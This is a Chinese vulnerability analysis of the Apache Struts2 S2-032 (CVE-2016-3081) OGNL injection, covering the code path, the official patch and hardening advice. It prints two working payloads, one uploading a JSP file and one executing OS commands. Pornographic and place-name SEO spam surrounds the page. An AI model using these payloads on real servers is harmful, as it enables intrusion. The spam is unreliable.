最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Struts2 漏洞分析及如何提前預防

 更新時間:2016年05月03日 09:20:51   作者:賽克藍德  
2016年4月26日,Struts2發(fā)布一份安全公告,CVE編號 CVE-2016-3081。這是自2012年Struts2命令執(zhí)行漏洞大規(guī)模爆發(fā)之后,該服務時隔四年再次爆發(fā)大規(guī)模漏洞。該漏洞也是今年目前爆出的最嚴重安全漏洞。本文分析了漏洞的原理危害影響防護等內容。

    2016年4月26日,Apache Struts2官方又發(fā)布了一份安全公告:Apache Struts2 服務在開啟動態(tài)方法調用的情況下可以遠程執(zhí)行任意命令,官方編號 S2-032,CVE編號 CVE-2016-3081。這是自2012年Struts2命令執(zhí)行漏洞大規(guī)模爆發(fā)之后,該服務時隔四年再次爆發(fā)大規(guī)模漏洞。該漏洞也是今年目前爆出的最嚴重安全漏洞。黑客利用該漏洞,可對企業(yè)服務器實施遠程操作,從而導致數(shù)據(jù)泄露、遠程主機被控、內網滲透等重大安全威脅。

    漏洞發(fā)生后,又是一次安全和相關公司的一次集體盛會,漏洞利用者在盡可能的利用此次漏洞來顯示水平的高超;各大眾測平臺紛紛發(fā)布中招公司,來提升平臺的作用;各大安全公司也充分利用此次漏洞來提高公司的影響力,借勢營銷,什么免費檢測,第一時間升級等。還剩一大堆郁悶的廠家,我沒招誰沒惹誰?。蝗缓缶褪谴罅康目鄲灥拈_發(fā)運維人員要連夜升級漏洞補丁。

    但是對漏洞的原理危害影響防護等少有提及。本文就是針對以上幾點提出自己的見解。

原理

    這個漏洞是利用struts2的動態(tài)執(zhí)行OGNL來訪問任意java代碼的,利用該漏洞,可以掃描遠程網頁,判斷是否存在該類漏洞,進而發(fā)送惡意指令,實現(xiàn)文件上傳,執(zhí)行本機命令等后續(xù)攻擊。

    OGNL是Object-Graph Navigation Language的縮寫,全稱為對象圖導航語言,是一種功能強大的表達式語言,它通過簡單一致的語法,可以任意存取對象的屬性或者調用對象的方法,能夠遍歷整個對象的結構圖,實現(xiàn)對象屬性類型的轉換等功能。

#、%和$符號在OGNL表達式中經常出現(xiàn)

1.#符號的用途一般有三種。

訪問非根對象屬性,例如#session.msg表達式,由于Struts 2中值棧被視為根對象,所以訪問其他非根對象時,需要加#前綴;用于過濾和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用來構造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。

2.%符號

%符號的用途是在標志的屬性為字符串類型時,計算OGNL表達式的值,這個類似js中的eval,很暴力。

3.$符號主要有兩個方面的用途。

在國際化資源文件中,引用OGNL表達式,例如國際化資源文件中的代碼:reg.agerange=國際化資源信息:年齡必須在${min}同${max}之間; 在Struts 2框架的配置文件中引用OGNL表達式。

代碼利用流程

1、客戶端請求

http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}

2、DefaultActionProxy的DefaultActionProxy函數(shù)處理請求。

protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
  this.invocation = inv;
  this.cleanupContext = cleanupContext;
  LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
 
  this.actionName = StringEscapeUtils.escapeHtml4(actionName);
  this.namespace = namespace;
  this.executeResult = executeResult;
  //攻擊者可以通過變量傳遞、語法補齊、字符轉義等方法進行繞過。
  this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
}

3、DefaultActionMapper的DefaultActionMapper方法method方法名

String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
   int bang = name.indexOf('!');
   if (bang != -1) {
     //獲取方法名
     String method = cleanupActionName(name.substring(bang + 1));
     mapping.setMethod(method);
     name = name.substring(0, bang);
  }
}

4、調用DefaultActionInvocation 的invokeAction方法執(zhí)行傳入的方法。

protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
  String methodName = proxy.getMethod();
 
  LOG.debug("Executing action method = {}", methodName);
 
  String timerKey = "invokeAction: " + proxy.getActionName();
  try {
    UtilTimerStack.push(timerKey);
 
    Object methodResult;
    try {
      //執(zhí)行方法
      methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
    } catch (MethodFailedException e) {

解決辦法

官方的解決辦法是在第三步中的函數(shù)cleanupActionName增加了校驗。

protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
protected String cleanupActionName(final String rawActionName) {
  //校驗,輸入過濾正則匹配("[a-zA-Z0-9._!/\\-]*"),這是采取白名單方式,只允許大小寫字母、數(shù)字等有限字符。
  if (allowedActionNames.matcher(rawActionName).matches()) {
    return rawActionName;
  } else {
    if (LOG.isWarnEnabled()) {
      LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
          rawActionName, allowedActionNames);
    }
    String cleanActionName = rawActionName;
    for (String chunk : allowedActionNames.split(rawActionName)) {
      cleanActionName = cleanActionName.replace(chunk, "");
    }
    if (LOG.isDebugEnabled()) {
      LOG.debug("Cleaned action/method name [#0]", cleanActionName);
    }
    return cleanActionName;
  }
}

修復建議

1、禁用動態(tài)方法調用

修改Struts2的配置文件,將“struts.enable.DynamicMethodInvocation”的值設置為false,比如:

<constantname="struts.enable.DynamicMethodInvocation" value="false"/>;

2、升級軟件版本

升級Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1

補丁地址:https://struts.apache.org/download.cgi#struts23281

漏洞利用代碼

1、上傳文件:

method:%23_memberAccess%[email]3d@ognl.OgnlContext[/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

上面的代碼看起來有點不方便,我們進行轉換一下在看看。

method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w=#res.getWriter(),
#path=#req.getRealPath(#parameters.pp[0]),
new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
#w.print(#path),
#w.close(),1
?#xx:#request.toString&
shellname=stest.jsp&
shellContent=tttt&
encoding=UTF-8&pp=/

2、執(zhí)行本地命令:

method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

同樣我們經過轉換在看一下

method:#_memberAccess[#parameters.name1[0]]=true,
#_memberAccess[#parameters.name[0]]=true,
#_memberAccess[#parameters.name2[0]]={},
#_memberAccess[#parameters.name3[0]]={},
#res=@org.apache.struts2.ServletActionContext@getResponse(),
#res.setCharacterEncoding(#parameters.encoding[0]),
#w#d#res.getWriter(),
#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
useDelimiter(#parameters.pp[0]),
#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
#xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8

通過之前的介紹,發(fā)現(xiàn)轉換后還是比較容易理解的。

如何預防

    安全中有個非常重要的原則就是最小權限原則。所謂最小特權(Least Privilege),指的是"在完成某種操作時所賦予網絡中每個主體(用戶或進程)必不可少的特權"。最小特權原則,則是指"應限定網絡中每個主體所必須的最小特權,確保可能的事故、錯誤、網絡部件的篡改等原因造成的損失最小"。

    比如在系統(tǒng)中如果沒有用到動態(tài)方法調用,在部署的時候就去掉,這樣即使補丁沒有打,依然不會被利用。

    在這個系統(tǒng)中最重要的危害之一是執(zhí)行本地進程,如果系統(tǒng)沒有執(zhí)行本地進行的需求,也可以禁用。

我們看一下java代碼中執(zhí)行本地命令的代碼,ProcessImpl中的ProcessImpl。

 private ProcessImpl(String cmd[],
            final String envblock,
            final String path,
            final long[] stdHandles,
            final boolean redirectErrorStream)
    throws IOException
  {
    String cmdstr;
    SecurityManager security = System.getSecurityManager();
    boolean allowAmbiguousCommands = false;
    if (security == null) {
      allowAmbiguousCommands = true;
      //jdk已經指定了參數(shù)來標識是否可以執(zhí)行本地進程。
      String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
      if (value != null)
        allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
    }
    if (allowAmbiguousCommands) {

在java啟動的時候加上參數(shù) -Djdk.lang.Process.allowAmbigousCommands=false,這樣java就不會執(zhí)行本地進程。

如果在系統(tǒng)部署的時候能提前把不必要的內容關掉,可以會減少或者杜絕這個漏洞的危害。

相關文章

最新評論

开封市| 三明市| 新郑市| 鞍山市| 理塘县| 桂东县| 云林县| 崇礼县| 平凉市| 舞钢市| 宣城市| 泾源县| 和田县| 大厂| 三门峡市| 玉林市| 阳泉市| 海宁市| 那曲县| 湘阴县| 元阳县| 宁蒗| 广东省| 屯门区| 乳山市| 行唐县| 旬阳县| 左贡县| 阜平县| 贡觉县| 扶风县| 铜山县| 阳江市| 花垣县| 清涧县| 科技| 庄河市| 盘山县| 莱西市| 四子王旗| 南川市|